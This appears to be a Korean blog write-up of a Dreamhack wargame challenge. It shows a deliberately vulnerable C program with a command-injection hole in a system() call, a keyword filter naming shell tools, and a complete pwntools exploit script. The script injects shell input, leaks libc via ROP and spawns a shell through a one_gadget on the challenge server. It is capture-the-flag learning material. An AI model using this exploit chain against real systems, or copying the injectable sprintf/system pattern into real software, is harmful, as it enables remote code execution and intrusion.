TIL: Command Injection, ROP
Wargame: Dream’s Notepad
//gcc -o Notepad Notepad.c -fno-stack-protector
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void Initalize(){
setvbuf(stdin, (char *)NULL, _IONBF, 0);
setvbuf(stdout, (char *)NULL, _IONBF, 0);
setvbuf(stderr, (char *)NULL, _IONBF, 0);
}
void main()
{
Initalize();
puts("Welcome to Dream's Notepad!\n");
char title[10] = {0,};
char content[64] = {0,};
puts("-----Enter the content-----");
read(0, content, sizeof(content) - 1);
for (int i = 0; content[i] != 0; i++)
{
if (content[i] == '\n')
{
content[i] = 0;
break;
}
}
if(strstr(content, ".") != NULL) {
puts("It can't be..");
return;
}
else if(strstr(content, "/") != NULL) {
puts("It can't be..");
return;
}
else if(strstr(content, ";") != NULL) {
puts("It can't be..");
return;
}
else if(strstr(content, "*") != NULL) {
puts("It can't be..");
return;
}
else if(strstr(content, "cat") != NULL) {
puts("It can't be..");
return;
}
else if(strstr(content, "echo") != NULL) {
puts("It can't be..");
return;
}
else if(strstr(content, "flag") != NULL) {
puts("It can't be..");
return;
}
else if(strstr(content, "sh") != NULL) {
puts("It can't be..");
return;
}
else if(strstr(content, "bin") != NULL) {
puts("It can't be..");
return;
}
char tmp[128] = {0,};
sprintf(tmp, "echo %s > /home/Dnote/note", content);
system(tmp);
FILE* p = fopen("/home/Dnote/note", "r");
unsigned int size = 0;
if (p > 0)
{
fseek(p, 0, SEEK_END);
size = ftell(p) + 1;
fclose(p);
remove("/home/Dnote/note");
}
char message[256];
puts("\n-----Leave a message-----");
read(0, message, size - 1);
puts("\nBye Bye!!:-)");
}
Vulnerability Scanning
-
checksec
sprintf(tmp, "echo %s > /home/Dnote/note", content);
: 사용자에게 입력 받은 내용으로 command를 실행한다. → Command Injection이 가능read(0, message, size - 1);
: size가 message보다 커질 수 있으므로 BOF가 일어날 수 있다.
Exploit
- Command injection을 일으킬 때
/home/Dnote/note
의 size를 큰 값으로 설정하기 위해 format string을 사용했다. (printf %1000c > /home/Dnote/note
) - BOF를 일으킨 후 ROP를 할 땐 우선
puts(read_got)
를 실행해 libc_base를 얻은 후, 다시main
으로 돌아가 다시 한 번 BOF를 일으켜one_gadget
을 stack에 삽입했다.
from pwn import *
#p = process("./Notepad")
p = remote("host3.dreamhack.games", 19804)
#gdb.attach(p)
e = ELF("./Notepad")
p.sendlineafter("content-----\n", '"a" && printf %1000c')
payload = b"A"*(0x100 + 0x80 + 0x40 + 0x28)
pop_rdi = 0x400c73
pop_rsi_pop_r15 = 0x400c6f
ret = 0x400709
puts_got = e.got["puts"]
puts_plt = e.plt["puts"]
read_plt = e.plt["read"]
read_got = e.got["read"]
# puts(puts_got)
payload += p64(pop_rdi) + p64(puts_got)
payload += p64(puts_plt)
# return to main
payload += p64(pop_rdi) + p64(0) #이거 안넣었다가 계속 실패함.
payload += p64(e.symbols["main"])
p.sendafter("a message-----\n", payload)
p.recvline()
p.recvline()
puts = u64(p.recvline()[:-1].ljust(8, b"\x00"))
print(hex(puts))
libc_base = puts - 0x06f6a0
og = libc_base + 0x4527a
system = libc_base + 0x453a0
p.sendlineafter("content-----\n", '"a" && printf %1000c')
payload = b"A"*(0x100 + 0x80 + 0x40 + 0x28)
payload += p64(og)
p.sendafter("a message-----\n", payload)
p.interactive()
main
을 다시 한 번 실행할 때 까먹고main
의 argument를 초기화해주지 않았더니 exploit에 실패했다. 항상p64(pop_rdi) + p64(0)
과 같이 argument를 초기화해주는 것을 까먹지 말자.
다른 사람의 풀이
# ...
p.sendlineafter("content-----\n", "'")
# ...
system 함수가 실행하는 command line이 echo ' > /home/Dnote/note
가 되도록 작성해도 같은 방식으로 exploit이 일어난다. 이렇게 command를 실행할 경우 파일이 생성되지 않아 size
가 0이 되고, size - 1
은 곧 UMax가 되므로 BOF를 일으킬 수 있게 된다.
위 command를 실행하면 왜 파일이 생성되지 않는지는 이해하지 못해서 dreamhack에 질문글을 올려두었다. (링크)
Leave a comment